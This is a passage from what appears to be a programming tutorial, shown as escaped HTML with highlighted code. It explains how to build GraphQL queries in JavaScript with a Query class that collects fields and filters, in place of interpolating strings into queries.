&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; query&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; `{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;  features {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;    id&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;    name&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;    ${&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; sprintQuery&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;}`&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;But this can quickly get out of hand. You need to know in advance how a query can be modified so you can be sure to leave room for strings to be interpolated inside of them. Handling optional arguments can be a pain. So if strings aren&apos;t the right option for very dynamic queries, what is?&lt;/p&gt;
&lt;h2&gt;The next step beyond strings&lt;/h2&gt;
&lt;p&gt;There&apos;s a common solution to this problem: Store the information you need to make your final decisions in a more raw form that you can look at. Keep them in a structure — an introspectable form — until you&apos;re ready to generate a result.&lt;/p&gt;
&lt;p&gt;What does that look like, though?&lt;/p&gt;
&lt;p&gt;Say a part of your code wanted a few fields from a Feature API, &quot;id&quot;, and &quot;name&quot;. Some other code wants the reference number too. Instead of building a query as a string and interpolating fields into it, like this:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; query&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; `{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;  features {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;    id&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;    name&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;    ${&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; maybeReferenceNumber&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;}`&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You could keep a list of fields:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; fields&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; [&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;id&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;name&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;];&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Other parts of your system could add to it:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;fields.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;push&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;referenceNumber&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And when you generate your query, the query has all of the information it needs right at hand:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; query&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; `{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;  features {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;    ${&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; fields&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;join&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;}`&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This seems like a minor change, and it is, but it&apos;s powerful. An object, which is easy to work with, keeps track of the decisions you&apos;ve made up to this point. Your query generation is simple — it just does what the object tells it to do. Here, that&apos;s turning an array of names into fields in the query. This opens up a lot of possibilities but first we can clean it up.&lt;/p&gt;
&lt;h2&gt;How to store the query state&lt;/h2&gt;
&lt;p&gt;If you&apos;ve ever used Rails, you&apos;ll know that it&apos;s great at building queries over time. You call methods to build up a query and only fire it off when you&apos;re done with it:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;query &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; account.features&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;query &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; query.where(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;project_id:&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; project.id) &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; project&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;query &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; query.where(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;release_id:&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; release.id) &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; release&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;# ...&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I&apos;ve been surprised that more languages or frameworks haven&apos;t been influenced by this query building. To me, it&apos;s one of the best parts of Rails.&lt;/p&gt;
&lt;p&gt;You can build something like this with GraphQL, though, keeping your decisions in an object and generating a query at the last minute. Imagine a Query class. We&apos;ll keep it simple to start, just holding a query type and a list of fields:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;class&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; Query&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  constructor&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;type&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;    this&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.type &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; type;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;    this&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.fields &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; new&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; Set&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Next, you can implement a simple &quot;select&quot; method to select ID and name:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;class&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; Query&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;  // ...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;  select&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;fields&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    fields.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;forEach&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;field&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&gt;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;      this&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.fields.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;add&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(attr);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    });&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    return&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; this&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;let&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; query &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; new&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; Query&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;features&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;query.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;select&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;([&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;id&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;name&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;]);&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You can pass that query object around and other functions can add to that query object:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;query.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;select&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;([&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;referenceNumber&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;]);&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now, when you need it, the Query object can generate a query string. Just like the example above:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;class&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; Query&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;  // ...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;  toString&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;() {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    return&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; `{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;      ${&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; this&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;type&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; } {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;        ${&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; Array&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;fields&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;).&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;join&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;      }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;    }`&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Once you have this string, you can hand it to whichever GraphQL library you&apos;re using as if you wrote it yourself.&lt;/p&gt;
&lt;p&gt;With that simple pattern, you can go further. You can add arguments to filter the results:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;class&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; Query&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  constructor&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;type&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;    // ...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;    this&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.filters &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; {};&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;  // ...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;  where&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;filters&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; {}) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;    this&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.filters &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; { &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;...&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.filters, &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;...&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;filters };&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    return&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; this&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;  processFilters&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;filters&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;    // Very basic conversion, can be improved as necessary&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    return&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; Object.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;keys&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(filters)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      .&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;map&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;k&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&gt;&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; `${&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;k&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;}: ${&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;JSON&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;stringify&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;filters&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;k&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;])&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;}`&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      .&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;join&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&apos;, &apos;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;  toString&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;() {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    let&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; args &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &apos;&apos;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    if&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; (Object.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;keys&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.filters).&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;length&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; &gt;&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 0&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      args &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; `(filters: {${&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;processFilters&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;filters&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;}})`&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    return&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; `{&lt;/span&gt;&lt;/span&gt;
